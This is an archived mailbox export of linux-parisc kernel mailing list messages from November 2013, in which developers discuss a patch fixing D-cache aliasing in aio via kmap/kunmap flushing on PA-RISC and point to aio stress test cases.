More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Sun, 17 Nov 2013 20:03:13 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <BLU0-SMTP844E685A4399DA3621BB1097E40@phx.gbl>
References: <20131115220529.GA3160@ls3530.box> <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com> <20131116200717.GA18939@schnuecks.de> <20131116200959.GA14098@kvack.org> <528933BC.50806@gmx.de> <1384724973.2050.14.camel@dabdike.int.hansenpartnership.com> <20131117234707.GA25545@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1384736611 28559 80.91.229.3 (18 Nov 2013 01:03:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Nov 2013 01:03:31 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-parisc@vger.kernel.org, Benjamin LaHaise <bcrl@kvack.org>,
	Simon Baatz <gmbnomis@gmail.com>, linux-aio@kvack.org,
	linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 18 02:03:35 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ViDFV-0000hF-7L
	for glpp-linux-parisc@plane.gmane.org; Mon, 18 Nov 2013 02:03:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752712Ab3KRBDc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Nov 2013 20:03:32 -0500
Original-Received: from blu0-omc4-s10.blu0.hotmail.com ([65.55.111.149]:18329 "EHLO
	blu0-omc4-s10.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752480Ab3KRBDc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Nov 2013 20:03:32 -0500
Original-Received: from BLU0-SMTP84 ([65.55.111.137]) by blu0-omc4-s10.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 17 Nov 2013 17:03:31 -0800
X-TMN: [SiSCa89F49ww+YtcecAZCTWAPf6ulMmj]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.173.247]) by BLU0-SMTP84.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 17 Nov 2013 17:03:30 -0800
In-Reply-To: <20131117234707.GA25545@p100.box>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 18 Nov 2013 01:03:30.0817 (UTC) FILETIME=[FF324710:01CEE3F9]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5499 gmane.linux.kernel.aio.general:3804 gmane.linux.kernel:1596667
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5499>

On 17-Nov-13, at 6:47 PM, Helge Deller wrote:

> I only changed kunmap_parisc() to always call
> flush_kernel_dcache_page_addr(addr) - independend if we are on a  
> PA8800/8900
> CPU or not - which is what you proposed in your original mail.

In which case the flushes in clear_user_page() and copy_user_page()  
aren't needed.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Sun, 17 Nov 2013 20:15:14 -0500
Lines: 68
Approved: news@gmane.org
Message-ID: <BLU0-SMTP3886F78E435CD570327E2797E40@phx.gbl>
References: <20131115220529.GA3160@ls3530.box> <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com> <20131116200717.GA18939@schnuecks.de> <20131116200959.GA14098@kvack.org> <528933BC.50806@gmx.de> <1384724973.2050.14.camel@dabdike.int.hansenpartnership.com> <20131117234707.GA25545@p100.box> <1384735922.2050.21.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1384737326 2627 80.91.229.3 (18 Nov 2013 01:15:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Nov 2013 01:15:26 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	Benjamin LaHaise <bcrl@kvack.org>,
	Simon Baatz <gmbnomis@gmail.com>, linux-aio@kvack.org,
	linux-kernel@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 18 02:15:29 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ViDR2-0004xo-Lc
	for glpp-linux-parisc@plane.gmane.org; Mon, 18 Nov 2013 02:15:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752566Ab3KRBP0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Nov 2013 20:15:26 -0500
Original-Received: from blu0-omc4-s13.blu0.hotmail.com ([65.55.111.152]:58125 "EHLO
	blu0-omc4-s13.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752004Ab3KRBPZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Nov 2013 20:15:25 -0500
Original-Received: from BLU0-SMTP38 ([65.55.111.137]) by blu0-omc4-s13.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 17 Nov 2013 17:15:25 -0800
X-TMN: [S28UfvRjtzQdX804Up8eZ70HWswlPzXv]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.173.247]) by BLU0-SMTP38.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 17 Nov 2013 17:15:24 -0800
In-Reply-To: <1384735922.2050.21.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 18 Nov 2013 01:15:24.0274 (UTC) FILETIME=[A8732D20:01CEE3FB]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5500 gmane.linux.kernel.aio.general:3805 gmane.linux.kernel:1596672
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5500>


On 17-Nov-13, at 7:52 PM, James Bottomley wrote:

>> +void flush_user_dcache_page(struct page *page);
>> +
>
> The split into flush_kernel.. and flush_user.. is pointless.  We  
> have no
> use for a flush_user_.. API because it's not part of the standard  
> linux
> one.  Plus it's going to confuse those who come after us no end  
> because
> now we're different from every other architecture.

I introduced it because it seemed to be what was needed on parisc when
we map a kernel page on PA8800/PA8900.  We need this to ensure what the
kernel sees is up to date and also to ensure that we don't create  
inequivalent
aliases between the user and kernel mappings.

>
>> #define flush_kernel_dcache_range(start,size) \
>> 	flush_kernel_dcache_range_asm((start), (start)+(size));
>> /* vmap range flushes and invalidates.  Architecturally, we don't  
>> need
>> @@ -125,18 +127,27 @@ flush_anon_page(struct vm_area_struct *vma,  
>> struct page *page, unsigned long vma
>> void mark_rodata_ro(void);
>> #endif
>>
>> -#ifdef CONFIG_PA8X00
>> -/* Only pa8800, pa8900 needs this */
>> -
>> #include <asm/kmap_types.h>
>>
>> #define ARCH_HAS_KMAP
>>
>> -void kunmap_parisc(void *addr);
>> +static inline void kmap_parisc(struct page *page)
>> +{
>> +	if (parisc_requires_coherency())
>> +		flush_user_dcache_page(page);
>> +}
>
> No ... if we're genuinely moving coherency into kmap/kunmap, this  
> has to
> become
>
> 	flush_dcache_page(page);
>
> unconditionally.

There are two things about flush_dcache_page(page):

1) The flush could be deferred.  I don't think we want that.
2) It seems to unnecessarily call flush_kernel_dcache_page().

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Sun, 17 Nov 2013 17:50:57 -0800
Lines: 82
Approved: news@gmane.org
Message-ID: <1384739457.2050.28.camel@dabdike.int.hansenpartnership.com>
References: <20131115220529.GA3160@ls3530.box>
	 <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com>
	 <20131116200717.GA18939@schnuecks.de> <20131116200959.GA14098@kvack.org>
	 <528933BC.50806@gmx.de>
	 <1384724973.2050.14.camel@dabdike.int.hansenpartnership.com>
	 <20131117234707.GA25545@p100.box>
	 <1384735922.2050.21.camel@dabdike.int.hansenpartnership.com>
	 <BLU0-SMTP3886F78E435CD570327E2797E40@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1384739465 22288 80.91.229.3 (18 Nov 2013 01:51:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Nov 2013 01:51:05 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	Benjamin LaHaise <bcrl@kvack.org>,
	Simon Baatz <gmbnomis@gmail.com>, linux-aio@kvack.org,
	linux-kernel@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 18 02:51:09 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ViDzX-0001t2-7d
	for glpp-linux-parisc@plane.gmane.org; Mon, 18 Nov 2013 02:51:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751791Ab3KRBvG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 17 Nov 2013 20:51:06 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55226 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751377Ab3KRBvF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 17 Nov 2013 20:51:05 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 37F918EE0EF;
	Sun, 17 Nov 2013 17:51:05 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ngDqSMf1-pgR; Sun, 17 Nov 2013 17:51:05 -0800 (PST)
Original-Received: from [153.66.254.224] (c-24-17-213-192.hsd1.wa.comcast.net [24.17.213.192])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 5D71E8EE0D7;
	Sun, 17 Nov 2013 17:51:00 -0800 (PST)
In-Reply-To: <BLU0-SMTP3886F78E435CD570327E2797E40@phx.gbl>
X-Mailer: Evolution 3.8.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5501 gmane.linux.kernel.aio.general:3806 gmane.linux.kernel:1596677
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5501>

On Sun, 2013-11-17 at 20:15 -0500, John David Anglin wrote:
> On 17-Nov-13, at 7:52 PM, James Bottomley wrote:
> 
> >> +void flush_user_dcache_page(struct page *page);
> >> +
> >
> > The split into flush_kernel.. and flush_user.. is pointless.  We  
> > have no
> > use for a flush_user_.. API because it's not part of the standard  
> > linux
> > one.  Plus it's going to confuse those who come after us no end  
> > because
> > now we're different from every other architecture.
> 
> I introduced it because it seemed to be what was needed on parisc when
> we map a kernel page on PA8800/PA8900.  We need this to ensure what the
> kernel sees is up to date and also to ensure that we don't create  
> inequivalent
> aliases between the user and kernel mappings.
> 
> >
> >> #define flush_kernel_dcache_range(start,size) \
> >> 	flush_kernel_dcache_range_asm((start), (start)+(size));
> >> /* vmap range flushes and invalidates.  Architecturally, we don't  
> >> need
> >> @@ -125,18 +127,27 @@ flush_anon_page(struct vm_area_struct *vma,  
> >> struct page *page, unsigned long vma
> >> void mark_rodata_ro(void);
> >> #endif
> >>
> >> -#ifdef CONFIG_PA8X00
> >> -/* Only pa8800, pa8900 needs this */
> >> -
> >> #include <asm/kmap_types.h>
> >>
> >> #define ARCH_HAS_KMAP
> >>
> >> -void kunmap_parisc(void *addr);
> >> +static inline void kmap_parisc(struct page *page)
> >> +{
> >> +	if (parisc_requires_coherency())
> >> +		flush_user_dcache_page(page);
> >> +}
> >
> > No ... if we're genuinely moving coherency into kmap/kunmap, this  
> > has to
> > become
> >
> > 	flush_dcache_page(page);
> >
> > unconditionally.
> 
> There are two things about flush_dcache_page(page):
> 
> 1) The flush could be deferred.  I don't think we want that.

Our deferred flush logic seems a bit bogus to me.  We set a flag that
causes a kernel page flush in invalidate_kernel_vmap_range().  However,
when that function is called we checked this on a page by page bases and
if set we flush the page then we then go and do a dcache flush on the
entire range ... that's got to be wrong.  I also can't really see what
the check for mapping && !mapping_mapped() is about.  Mapping != NULL
means shared mappings with user space !mapping_mapped() means no file
backing (so they must be some form of anonymous vma).  Even if we got
the deferred logic right, I don't think we can avoid flushing in the
anon_vma case

> 2) It seems to unnecessarily call flush_kernel_dcache_page().

Remember flush on parisc is flush and invalidate.  We do need to
invalidate the kernel page in flush_dcache_page() just in case there are
any read only speculated cache lines above it.  I agree there shouldn't
be any dirty cache lines above it in kernel space.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simon Baatz <gmbnomis@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Mon, 18 Nov 2013 11:54:43 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20131118105443.GA19633@schnuecks.de>
References: <20131115220529.GA3160@ls3530.box>
 <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com>
 <20131116200717.GA18939@schnuecks.de>
 <20131116200959.GA14098@kvack.org>
 <528933BC.50806@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1384772086 14923 80.91.229.3 (18 Nov 2013 10:54:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Nov 2013 10:54:46 +0000 (UTC)
Cc: Benjamin LaHaise <bcrl@kvack.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	linux-aio@kvack.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 18 11:54:49 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ViMTg-0004ZP-MP
	for glpp-linux-parisc@plane.gmane.org; Mon, 18 Nov 2013 11:54:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751141Ab3KRKyr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Nov 2013 05:54:47 -0500
Original-Received: from mail-ee0-f46.google.com ([74.125.83.46]:38928 "EHLO
	mail-ee0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750754Ab3KRKyq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Nov 2013 05:54:46 -0500
Original-Received: by mail-ee0-f46.google.com with SMTP id c4so2373940eek.5
        for <multiple recipients>; Mon, 18 Nov 2013 02:54:45 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=yT0QLFAXd6V4daAy4rnqYbYeciMZPku5YHsqAq5tAFM=;
        b=bIcC4BU69zNvcxvc74dWTWdf2Yn90WdkgpKla5zWNWJtzkDPRBtTicjwIFqWuhsCGw
         1OyiJyj4vNwgXAuryp4NEJaErXCAjCLz0wLgiKOmxet0KFhehZoA9y3iNWeGo+u4JlHJ
         XPb6nDvts8EWGXxiyq+IwUKhY403P/WejlHWJj6oIbMBy6XXAYv4CqttMyr6W3rZV8Wp
         qToxd3ocHUWDQCOD3v+xpRS83YaG2+jRRsCxdro1rfI+bKMQs+OdNPJs7Ag2d2lb4O1j
         DXHR3CMTGgONyRYgboZ9OkGMWXdyuhoWShSUhNuOldliXOaqDnAPr2/uMDIzx/xZAw0R
         hiYQ==
X-Received: by 10.14.6.134 with SMTP id 6mr1800135een.66.1384772085299;
        Mon, 18 Nov 2013 02:54:45 -0800 (PST)
Original-Received: from gandalf.schnuecks.de (p5DE8CC1F.dip0.t-ipconnect.de. [93.232.204.31])
        by mx.google.com with ESMTPSA id h8sm36570323eew.16.2013.11.18.02.54.44
        for <multiple recipients>
        (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Mon, 18 Nov 2013 02:54:45 -0800 (PST)
Original-Received: by gandalf.schnuecks.de (Postfix, from userid 500)
	id C938740119; Mon, 18 Nov 2013 11:54:43 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <528933BC.50806@gmx.de>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5502 gmane.linux.kernel.aio.general:3807 gmane.linux.kernel:1596818
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5502>

Hi Helge,

On Sun, Nov 17, 2013 at 10:23:08PM +0100, Helge Deller wrote:
> On 11/16/2013 09:09 PM, Benjamin LaHaise wrote:
> > On Sat, Nov 16, 2013 at 09:07:18PM +0100, Simon Baatz wrote:
> >> On Fri, Nov 15, 2013 at 02:42:05PM -0800, James Bottomley wrote:
> >>> On Fri, 2013-11-15 at 23:05 +0100, Helge Deller wrote:
> >>>> When a user page mapping is released via kunmap*() functions, the D-cache needs
> >>>> to be flushed via flush_dcache_page() to avoid D-cache aliasing issues.
> >>>>
> >>>> This patch fixes aio on the parisc platform (and probably others).
> >>>
> >>> This should be flush_kernel_dcache_page().  flush_dcache_page() is for
> >>> full coherency but for unmap, we know the page was coherent going in and
> >>> may have been modified by the kernel, so only the kernel view needs to
> >>> be sync'd.  Technically, by the kernel API, the flush should be done
> >>> *before* unmapping.  This would have mattered on parisc until we did
> >>> flush via tmpalias which means we no-longer care if the mapping for the
> >>> flush exists or not because we always recreate it via the tmpalias
> >>> pages.
> >>
> >> On ARM, flush_kernel_dcache_page() actually assumes that the page is
> >> mapped.  It avoids double flushing of highmem pages by not flushing
> >> in those cases where kunmap_atomic() already takes care of flushing.
> > 
> > Helge -- are you going to resubmit a version of this patch that makes the 
> > recommended change?
> 
> Sure, I'll do. May need some time for testing the various machine types though.
> Maybe in the end you can drop my patch since we might be able to fix it in the 
> parisc arch code.

Could you provide me with the test case(s) you are running to
reproduce the problem?  I could test this on aliasing D-cache on ARM
as well. Since kmap/kunmap do not flush in general on ARM, we
might need the explicit flushes here.


- Simon
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.aio.general,gmane.linux.kernel
Subject: Aw: Re: [PATCH] aio: fix D-cache aliasing issues
Date: Mon, 18 Nov 2013 12:24:55 +0100 (CET)
Lines: 15
Approved: news@gmane.org
Message-ID: <trinity-96b74089-565e-468c-a456-ac73dc4b097e-1384773895118@3capp-gmx-bs60>
References: <20131115220529.GA3160@ls3530.box>
 <1384555325.2003.39.camel@dabdike.int.hansenpartnership.com>
 <20131116200717.GA18939@schnuecks.de> <20131116200959.GA14098@kvack.org>
 <528933BC.50806@gmx.de>, <20131118105443.GA19633@schnuecks.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1384773893 3383 80.91.229.3 (18 Nov 2013 11:24:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Nov 2013 11:24:53 +0000 (UTC)
Cc: "Benjamin LaHaise" <bcrl@kvack.org>,
	"James Bottomley" <James.Bottomley@HansenPartnership.com>,
	linux-aio@kvack.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: "Simon Baatz" <gmbnomis@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 18 12:24:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ViMwr-0001ML-Rl
	for glpp-linux-parisc@plane.gmane.org; Mon, 18 Nov 2013 12:24:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751368Ab3KRLY5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Nov 2013 06:24:57 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:64981 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751300Ab3KRLY4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Nov 2013 06:24:56 -0500
Original-Received: from 3capp-gmx-bs60.server.lan ([172.19.170.144]) by
 mrigmx.server.lan (mrigmx001) with ESMTP (Nemesis) id
 0Ll3jn-1V9rXe181l-00ak6l for <linux-parisc@vger.kernel.org>; Mon, 18 Nov 2013
 12:24:55 +0100
Original-Received: from [155.56.68.217] by 3capp-gmx-bs60.server.lan with HTTP; Mon
 Nov 18 12:24:55 CET 2013
Importance: normal
Sensitivity: Normal
In-Reply-To: <20131118105443.GA19633@schnuecks.de>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:t57iw3FeB7Pf//X3LT9gCoz82sSIF3MLLoMqYW8Xybq
 DqT6NEfGPWGadJhzM51VixfZa1Hs48PlF8QSK5QwvCgNug2uzF
 ODgRmRibE1xHdkRINRRx3LYXdH9LZxBF3EAqWy2ZjFmpkuIn6Z
 AeZOwlraSh/FmYSsz5tyZqAo99mKCbUJ2Cd1EBtZRbgNvw0BDl
 PKSfeK6nBgxKA+jduXzv0M14cXkpGiJcKa8n1FD8w2I5z+h8et
 q+eV8ud8tcHh0hpnnIcx64UVSqYpIgFgO2ChFICmfw4B4wnOU+ tWAfgU=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5503 gmane.linux.kernel.aio.general:3808 gmane.linux.kernel:1596824
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5503>

> Hi Helge,
> Could you provide me with the test case(s) you are running to
> reproduce the problem?  I could test this on aliasing D-cache on ARM
> as well. Since kmap/kunmap do not flush in general on ARM, we
> might need the explicit flushes here.

Just google for aio-stress.c (e.g. https://github.com/repoforge/rpms/blob/master/specs/aio-stress/aio-stress.c).
And the aio01 / aio02 testcases from the Linux Test Project (https://github.com/linux-test-project/ltp).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: improve SIGBUS/SIGSEGV error reporting
Date: Mon, 18 Nov 2013 22:12:11 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20131118211211.GA2552@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1384809132 11268 80.91.229.3 (18 Nov 2013 21:12:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Nov 2013 21:12:12 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Nov 18 22:12:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ViW7E-0005zb-Oc
	for glpp-linux-parisc@plane.gmane.org; Mon, 18 Nov 2013 22:12:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751881Ab3KRVMP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Nov 2013 16:12:15 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:54516 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751701Ab3KRVMP (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Nov 2013 16:12:15 -0500
Original-Received: from p100.box ([84.173.12.115]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MCtql-1Vr4gg1ykN-009esS for
 <linux-parisc@vger.kernel.org>; Mon, 18 Nov 2013 22:12:13 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:KGDIs9U5wJMkrXbadY1MPmCTkYMzWPUiQQnWBqyf51fttrCw2VW
 wElT+b9jsGPl7F9ABcearVuAd+YDlvHcTD2SVBJRiuXRq6akYf54F8xZcuxssZeXlHOsE0S
 JOJ4VpbMehyEuTXSA5foqmMgkiSxcQjuZVCF05qsz8qEd+nyr+Unj1uWKpWDWRF2exk1zdL
 j51oL98catLYGMLFs9qSw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5504
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5504>

